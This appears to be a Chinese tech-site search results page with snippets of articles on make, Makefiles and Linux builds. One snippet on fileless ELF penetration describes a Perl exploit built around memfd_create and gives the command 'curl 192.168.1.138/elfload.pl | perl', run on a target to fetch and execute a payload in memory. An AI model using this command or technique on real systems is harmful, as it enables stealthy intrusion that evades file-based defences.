首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

make menuconfig执行流程分析

make menuconfig命令没有指定makefile文件,因此默认执行的是 make –f Makefile menuconfig,即执行$(srctree)/Makefile文件中目标menuconfig...当在Linux内核(内核版本为3.18.42)顶层目录执行make ARCH=arm menuconfig”时,命令行对内核根目录下Makefile文件的ARCH这个变量赋值为arm ,并且指定了...Kbuild 框架中,专门使用hostprogs-y变量来指示在内核编译阶段需要使用的一些可执行文件,通过hostprogs-y += mconf,就向make程序指明mconf是一个编译阶段需要使用的可执行文件...make menuconfig命令没有指定makefile文件,因此默认执行的是 make –f Makefile menuconfig,即执行$(srctree)/Makefile文件中目标menuconfig...当在Linux内核(内核版本为3.18.42)顶层目录执行make ARCH=arm menuconfig”时,命令行对内核根目录下Makefile文件的ARCH这个变量赋值为arm ,并且指定了

3.3K10
您找到你想要的搜索结果了吗?
是的
没有找到

Linux工具入门:make工具与Makefile文件

TARGER:目标程序产生的文件,如可执行文件和目标文件,目标也可以是要执行的动作,如clean,也称为伪目标。...COMMAND:命令是make执行的动作(命令是shell命令或是可在shell下执行的程序),注意每个命令行的起始字符必须为TAB字符。...-o sub.o gcc -Wall -g main.o add.o sub.o -o main 可以看到执行make之后,由于 目标文件main依赖于 main.o add.o sub.o ,所以是需要先...前面说过,TARGET除了可以是目标文件之外,还可以是伪目标。执行伪目标的效果等于执行了某一个动作, 并不产生目标文件。...来执行伪目标: $ make clean rm -f main.o add.o sub.o main 可以看到make执行伪目标下面的命令。

3.4K40

Linux工具入门:make工具与Makefile文件

TARGER:目标程序产生的文件,如可执行文件和目标文件,目标也可以是要执行的动作,如clean,也称为伪目标。...COMMAND:命令是make执行的动作(命令是shell命令或是可在shell下执行的程序),注意每个命令行的起始字符必须为TAB字符。...-o sub.o gcc -Wall -g main.o add.o sub.o -o main 可以看到执行make之后,由于 目标文件main依赖于 main.o add.o sub.o ,所以是需要先...前面说过,TARGET除了可以是目标文件之外,还可以是伪目标。执行伪目标的效果等于执行了某一个动作, 并不产生目标文件。...来执行伪目标: $ make clean rm -f main.o add.o sub.o main 可以看到make执行伪目标下面的命令。

3K40

Linux——.configure && make && make install命令解析

当我们在Linux上安装相关的软件源码包时,一般会涉及到以下三个步骤,分别是 ..../configure、makemake install ———————————————————————————————————————————————————— 第一步 ..../configure 该步骤主要用来检测系统的配置、环境以及相关依赖,如果缺少相关依赖,该脚本会中止执行,软件安装失败 如:它会检测是否安装了gcc (用于编译各种源代码的软件),如果未安装...,该脚本会中止执行 当该脚本执行完成之后,它会根据之前检查的结果,生产一个 Makefile 文件,该文件规定了用什么编译器、编译参数等信息 ,描述了文件编译的相互依赖关系 第二步 make...该步骤主要用来编译源代码,make指令会从 Makefile 文件中读取相关指令,然后进行编译,编译完成之后会生成可执行文件 第三步 make install 该步骤主要用来安装软件,make

6.9K20

make命令和makefile文件

1. make命令的选项和参数   make程序本身有许多选项,其中最常用的三个选项如下所示: (1)-k:让make命令在发现错误时仍然继续执行 (2)-n:让make命令输出将要执行的操作步骤,而不真正执行这些操作...,规则所在的行必须以制表符开头,用空格是不行的,如果makefile文件中的某行以空格结尾,也可能导致make命令执行失败。...  -   告诉make命令忽略所有的错误   @   告诉make执行命令前不要将该命令显示在标准输出上@echo   $(@D) 目标文件的目录名部分   $(@F) 目标文件文件名部分...,由于clean:的后面是空的,因此该目标总被认为是过时,所以在执行make命令时,如果指定目标clean,则目标所对应的规则将总被执行   install:将编译成功的应用程序安装到另一个目录下   ...-rm:rm命令以减号开头是让make命令忽略rm命令的执行结果 1.4 内置规则   可以通过make -p来打印make的所有内置规则,比如: OUTPUT_OPTION=-o ¥@ COMPILE.c

2.5K40

Linux下解决.configure ,makemake install的报错

Linux下从源代码下编译安装一个软件有时候会报错,遇到一些麻烦。有些情况即使你用了很多方法去尝试解决,但问题依然存在,那怎么办呢?...本教程教你怎么解决Linux软件编译时遇到的问题 注意:编译安装一个软件不会被系统的包管理系统记录信息,这对于卸载和记录软件的行为都是不利的,建议您尽量使用打包好的包(.rpm .deb) 我们分3类错...这样,您就需要将编译好的二进制文件放到bin文件夹中。在源代码路径下运行ls命令,可执行文件应该会以亮绿色显示的。...您可以将可执行文件所在的路径添加到您的PATH路径中。...进入到可执行文件的路径,执行pwd命令查看全路径名 然后将pwd命令的输出放到这个命令中 export PATH=”$PATH:” 现在,运行可执行文件,它就开始工作了。

22.9K21

Linux文件渗透执行ELF

02 技术核心 这里向大家介绍一个linux系统的底层调用函数memfd_create(2),它在内核3.17中引入,会创建一个匿名文件并返回一个文件描述符指向它,该文件表现和常规文件类同, 可以进行修改...memfd_create()调用时需要传入两个参数,一个是文件名,一个是MFD_CLOEXEC标志(类似于O_CLOEXEC),以便当我们执行ELF二进制文件时,我们得到的文件描述符将被自动关闭。...这里还有一个问题,如何将elf二进制文件写入到创建的文件当中,@MagisterQuis这里使用open函数将$FH内容添加进创建的匿名文件$fd当中,而$FH通过perl转化自要执行的elf文件,这就是该脚本的第二部分...第三部分就是执行文件了,调用exec函数执行该匿名文件 ? 这里我们最后的EXP就生产好了,我们可以目标机上执行 curl 192.168.1.138/elfload.pl | perl ? ?...可以看到我们的elf文件最终以匿名文件的方式在内存中被加载执行了,从匿名文件运行的程序与运行于普通文件的程序之间唯一真正的区别是/proc/pid/exe符号链接。

5.4K80

linux文件执行— fexecve 揭秘

继续2020年的flag,至少每周更一篇文章,今天讲linux文件执行。...无文件执行 之前的文章中,我们讲到了无文件执行的方法以及混淆进程参数的方法,今天我们继续讲解一种linux文件执行的技巧,是后台朋友给我的提醒,万分感谢,又学到了新的东西。...linux文件执行,首先要提到两个函数:memfd_create 和 fexecve。...将ls 命令文件写入到wurstverschwendung文件 通过fexecve执行wurstverschwendung文件,因为/dev/shm在内存中,因此fexecve实际上是在内存中执行文件...对fexecve_test.c 进行编译并执行,可以看到/dev/shm下面确实生成了wurstverschwendung文件。 ? 调试角度 fexecve是如何执行内存中的文件呢?

4.4K40

Linux下的make命令用法

Linux 下 make 命令是系统管理员和程序员用的最频繁的命令之一。管理员用它通过命令行来编译和安装很多开源的工具,程序员用它来管理他们大型复杂的项目编译问题。...现在,假设你对某个源文件进行了修改,你再次执行 make 命令,它将只编译与该源文件相关的目标文件,因此,编译完最终的可执行文件节省了大量的时间。...现在清理所有的目标文件和可执行文件 test,你可以使用目标 clean: $ make clean rm -rf *.o test $ ls anotherTest.c Makefile test.c...test.h 你可以看到所有的 .o 文件执行文件 test 都被删除了。...make 命令不会编译任何文件,然而 make -B 会强制编译所有的目标文件以及最终的执行文件

17.2K41

Linuxmake和makefile及其拓展

文件中主要写依赖关系和依赖方法: 注意: 有了makefile文件make命令才能派上用场,保存退出makefile文件后在终端输入make命令就能完成自动编译 这个时候你可能有一个疑问:...makefile默认只执行第一个依赖方法,如果你要执行clean可以使用make+依赖关系 那么为什么要有依赖关系和依赖方法?...(依赖关系),需要执行gcc mytest.c -o mytest命令(依赖方法) 伪目标 为什么多次make会失败,但是多次make clean却能一直成功?...三个时间 不加伪目标make无法多次执行的原因在于目标文件没有更新,不用重新编译(在一些大型工程项目中,仅是编译的过程就可能要耗费数十分钟甚至几小时) 那么它怎么知道我没有更新目标文件呢?...文件进行过修改,也就需要重新编译,此时就可以再次执行make 拓展 Access是访问时间,Modify是文件内容更改时间,Change是文件属性更改时间。

3.7K00
领券